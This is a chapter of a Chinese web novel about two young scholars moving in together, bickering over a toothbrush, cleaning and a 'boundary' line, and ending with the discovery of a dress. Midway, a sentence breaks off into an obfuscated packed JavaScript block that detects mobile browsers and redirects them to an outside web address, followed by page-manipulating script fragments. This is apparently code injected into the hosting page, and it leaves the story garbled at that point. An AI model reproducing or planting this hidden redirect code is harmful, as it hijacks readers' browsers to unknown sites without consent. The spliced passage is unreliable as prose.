沈惜长以前没有晕车的事,甚至还能在车上看文献。
洛柳忧心地凑过来试了试他的额头,又摸了摸鼻息。
脸凉凉的,摸起来不太安心。
他捏着调整了一下,试图由外及内地让沈惜长变正常一点。
沈惜长睁开眼:“是晕车,不是没气了。”
洛柳嗖地收回了手。
到了地方,箱子太多,师傅却只有一个。
洛柳他们搭了把手,临时被抓来的靳越上下搬了两趟就累得气喘吁吁:“你们这里怎么没有电梯啊?老宿舍都没电梯的吗?”
他边喘边从单元门出来,远远看见沈惜长给洛柳分配了个绿植,洛柳路过他:“欸?很沉吗?不用麻烦了师兄!我们慢慢搬!”
说着,就抱着怀里的一盆绿植走到楼上去了。
不是,这么一盆盆抱要到猴年马月啊?!
紧接着,沈惜长也往里走,自己抱着个巨重的箱子,路过他的时候施施然看了一眼,走了。
靳越:“...”
死弟控。
--
靳越打鸡血一样扛着箱子上去了。
四个人搬了一个小时,师傅很不好意思地要退他们五十。
洛柳想了想,去买了几瓶饮料塞给师傅,回来的时候见到靳越仿佛也褪色了,倒是旁边的沈惜长很有精神,手里拿着他的那本积极心理学在看。
封面上正有一排小字:抚慰心理学,治愈,是心理学的力量!
靳越:“看完没有啊?”
“稍等,”沈惜长翩翩然翻过前言,“还没看到变态心理学。”
洛柳:。
洛柳挪到靳越跟前,蹲下给他一瓶可乐:“靳大哥,谢谢你帮忙了啊,过几天收拾好了找你吃饭。”
“你这效果还不如洛柳的可乐呢,”靳越喘了两口气说完,仰头又朝洛柳笑了:“不用,我也有事想问你。”
洛柳:“啊?”
沈惜长皱了一下眉,合上书页。
靳越语速飞快:“我本科的时候有个话剧社,最近他们社长和我说缺你这样的人,你有没有兴趣啊?不用多久,偶尔来一下就行。”
也不是为了社团,主要是很想看看洛柳上台的样子。
洛柳呆了一下,读研后这些东西都从他的世界里消失了,乍一听还挺新鲜的,但谁没事还搞这些东西呀。
“啊…我好久没弄这些东西了。”
他还没想好,后劲上忽然贴上灼热的指尖,他猛地回头,沈惜长正垂眼,面无表情地给他整理了一下领子。
“乱了。”
洛柳“哦”了一声,毫无所觉地转回头继续和靳越说话:“我没有基础,不太合适吧?”
靳越说:“没有的事儿!你这样子,做棵树都吸睛啊!”
洛柳纠结了一下,他其实蛮闲的,平常就是看看文献看看展,写一二三四五篇文献综述…
他忽然感觉脖子一紧,回过神,沈惜长手指一松,捏了捏他的肩膀,轻声问:“本科的时候你学校的都不加,现在来我们这儿的?”
靳越嚷嚷:“什么叫我们这儿?你和洛柳是一家人嘛,我和你是兄弟,咱都是一块的。”
洛柳立刻想起了司机都坚守的AB之争,拉了拉自己的领子,清醒了:“算了,师兄,还是请你吃饭吧,沈惜长做饭可好吃了。”
“哎,好吧...”靳越很遗憾地起身,听见后半句后迟疑了一下:“做饭?他?”
别在厨房里用试管给他下毒。
洛柳笑了一下:“他很会做的。”
说着撞了身后人一下:“对吧!”
沈惜长收拢手臂,心情好像变好了点,淡淡道:“还行。”
靳越又打起精神,很满意地走了:“好好,一定叫我啊。”
靳越一走,楼下一下只剩下两人,洛柳手里还拎着塑料袋,因为少了东西扁下来了。
沈惜长看着晃到自己跟前的人,垂眼:“给我买了什么?”
“噔噔~”洛柳展示了一下,塑料袋里头有三瓶矿泉水,他很得意,“我给你买了三种牌子的矿泉水!”
沈惜长不喝饮料,洛柳从小一大乐趣就是买不同品牌的水给他,觉得这样能够提供丰富的矿物质。
沈惜长视线往一边移,看见另一个口袋里满满当当的碳酸饮料:“你喝这么多饮料?”
洛柳嗖地就把另一袋袋口凶神恶煞地捏严实了:“不准偷看小柳的口袋!”
一想到沈惜长奇怪的喜好,洛柳几下把塑料袋打成了死结,得意地朝他晃了一下:“里头有一瓶我开过的,你喝不到。”
沈惜长似笑非笑地看着他,没有否认他喝不到这点,只是问:“洛柳,那你喝什么?”
“我的水么?”
洛柳:“……”
-
洛柳怒气冲冲地又去买了几瓶饮料。
两人上了楼,把那些纸箱搬上来是大工程,全部收拾完更是大工程。
洛柳脑子里还是刚刚的场景,手里捣鼓着长长的纸筒试图从侧面攻击沈惜长。
沈惜长抬手挡了一下,拯救了自己怀里纸箱的命运。
幼稚。
洛柳吭哧吭哧把几个纸箱搬进自己的卧室里,又虔诚地把背包里的书放在床头柜,挨个垒起来。
沈惜长在外头把客厅简单打扫了遍,以免灰尘太多,让洛柳不舒服。
但是洛柳还有一件很重要的事,他抱着箱子进屋,把自己比较私人的物品拆出来,减少一下刺激源。
衣服都可以藏进柜子里,沈惜长平常碰不着。
洛柳盯着自己的牙刷,又看了看浴室柜,放明面上不太保险,放柜子里又有点麻烦。
洛柳拿着牙刷在浴室里溜达,沈惜长在后头抱着手臂看了一会儿,问他:“你要在浴室散步?”
沈惜长实在是神出鬼没,洛柳和门口的人对视一会儿,问他:“你为什么要偷看我放牙刷?”
沈惜长:?
洛柳:“牙刷是私人物品,你知道私人物品什么意思吗?”
眼看跟前人盯着自己一言不发,洛柳细细地讲解:“就是只有我能碰的东西。”
沈惜长也耐心地,细细问他:“洛柳,你脑子坏掉了?都在想什么乱七八糟的事情?”
洛柳:?
沈惜长居然倒打一耙,他杵到沈惜长跟前:“这可是我的牙刷!”
他靠得太近,身上原本浅淡的香味几乎都扑进了沈惜长鼻尖。
沈惜长下意识躲了一步,意识到自己反应过激后,才慢慢地说:“我也有牙齿。”
说着,他目光冷淡地扫过台面上的牙齿,伸手一碾而过后,冷酷地把牙刷扔进垃圾桶:“刷毛弯了,要换。”
洛柳震惊地看着他的手指:“我早上都用过了,你怎么乱碰!”
而且还扔了,专.制!!暴君!!
沈惜长态度依旧很淡然:“用过怎么了?”
洛柳:“……”
要不是他抱着沈惜长不是变态的心态来这儿的,这个时候都要尖叫着搬家了。
他忍了忍,把自己的三条毛巾也挨个挂在挂钩上:“这是我的毛巾,你不准乱碰,它被我用得很软,你不准扔。”
沈惜长淡淡应了一声,又说:“我知道,我洗了。”
洛柳:……
啊!!!!
洛柳抓着沈惜长洗了手,愤愤地往自己房间走了两步,忽然转过身,手在跟过来的沈惜长跟前比划了一条线。
沈惜长垂眼,视线追着洛柳白皙的指尖,从门的这头,一直拉到另一头:“什么意思?”
洛柳深沉地说:“结界。”
沈惜长:“做什么用的?”
“三八线,”洛柳换了个说法,四指一并,在两人间划下一道不存在的线,“银河,你平常不能过来。”
沈惜长很轻地挑了一下眉。
他说:“牛郎,你那边我还没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368189|183913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打扫。”
两人住在一起,一贯是沈惜长打扫卫生的。洛柳闻不了灰尘尘螨味道,从小到大爸妈不在家,也是沈惜长去给他晾被子枕头。
洛柳慢慢地想,沈惜长变成这个样子,他也有责任。
洛柳干巴巴地“哦”了声,从自己的“银河”里移出来,到了沈惜长的地盘。
他说:“你去吧。”
沈惜长被气笑了:“我是你的奴隶?”
“这个问题我们不是在车上讨论过了吗?”洛柳很无辜地说,“谢谢师兄。”
洛柳平常不跟着实验室里的人叫,从小到大都是沈惜长沈惜长这么直呼大名的,沈惜长难得听见他这样叫自己。
他拿着扫把,淡淡道:“你不应该看积极心理学。”
“?”洛柳:“那应该看什么?”
沈惜长说:“资本论。”
洛柳:“……”
沈惜长挽起袖子,拿着崭新的打扫工具把屋子打扫了。
洛柳住寝室住久了,实在是有点见不得别人干活自己坐着,屁股刚刚离开沙发。
“坐好,”沈惜长眼也不抬,“我扫完你再过来,别给我添麻烦。”
小时候他们爸妈经常出差,沈惜长帮着带他,陪他玩躲猫猫。结果第一次尝试就因为钻进窗帘满天灰尘,咳得喘不上气,吓得沈惜长魂飞魄散,抱着洛柳就冲进了医院。
从那以后扫帚就从洛柳的世界消失了,洛柳也知道了,躲猫猫是不能藏在窗帘里的。
洛柳乖乖地坐回原地“哦”了声,看着沈惜长打扫的身影,心情忽然变得有点雀跃。
平常里用来做实验的手在给他打扫卫生,四舍五入,他的卧室也是实验室了。
而且,沈惜长变成变态了也得给他打扫,说明病得根本不重嘛。
洛柳想着想着,发起呆来。
一直等脑门被人戳了一下,才回过神,沈惜长站在他跟前:“王母,看看满不满意?”
里头已经被扫完拖完,洛柳以很严谨的态度进房间里溜达了一圈:“很好,很好。”
沈惜长靠在门框边,注视着他的背影:“牙刷都要藏起来,这里不看仔细一点?”
洛柳懒得搭理他,转去做最重要的一件事。
贴贴纸。
他在卫生间门口量好尺寸,叫沈惜长把今天的快递给他。
沈惜长转去快递箱边翻了翻,找到了今天差点让他身败名裂的几个盒子,俯身随意捡出了一个:“你要哪个?”
洛柳:“要最厚实的!”
沈惜长随意一扫,加厚,磨砂,遇水既透,重磅赠品。
他随手拿起来,递给了洛柳。
洛柳仔仔细细地贴完了,欣赏了一会儿自己的完美作品,转身想叫人一起看,发现沈惜长正在打扫厨房。
看沈惜长背对着干活,洛柳目光忽然飘忽了一下。
他提高声音说:“沈惜长,我拆箱子了!”
“嗯,”沈惜长的声音从隔着玻璃门的厨房传出来,“拆吧,都在客厅。”
洛柳立刻去找了把小刀,目光扫过客厅里一堆箱子。
这可不是他偷看沈惜长东西,这是沈惜长让他拆的!
今天一整天,沈惜长都这么坦坦荡荡,说不定一切都是误会。
洛柳哼着歌拿小刀挨个拆箱子。
他把沈惜长的衣服拆了,扔一边,短袖拆了,扔一边。
等把书籍和其他东西拆完了后,洛柳的目光落在了一个长得和其他纸箱不太一样的箱子。
就是你了!
勤快的洛柳找来小刀,划开纸箱,看见了一层薄薄的白纱。
什么东西,蚊帐?
洛柳很纳闷地把东西拿出来在手里抖抖,纱裙层层落下,如梦似幻的裙摆在洛柳跟前铺开,是一条大小长度都和他相当适配的裙子。
洛柳:“…”
洛柳:“……”
该死的,沈惜长其实还是变态吧!!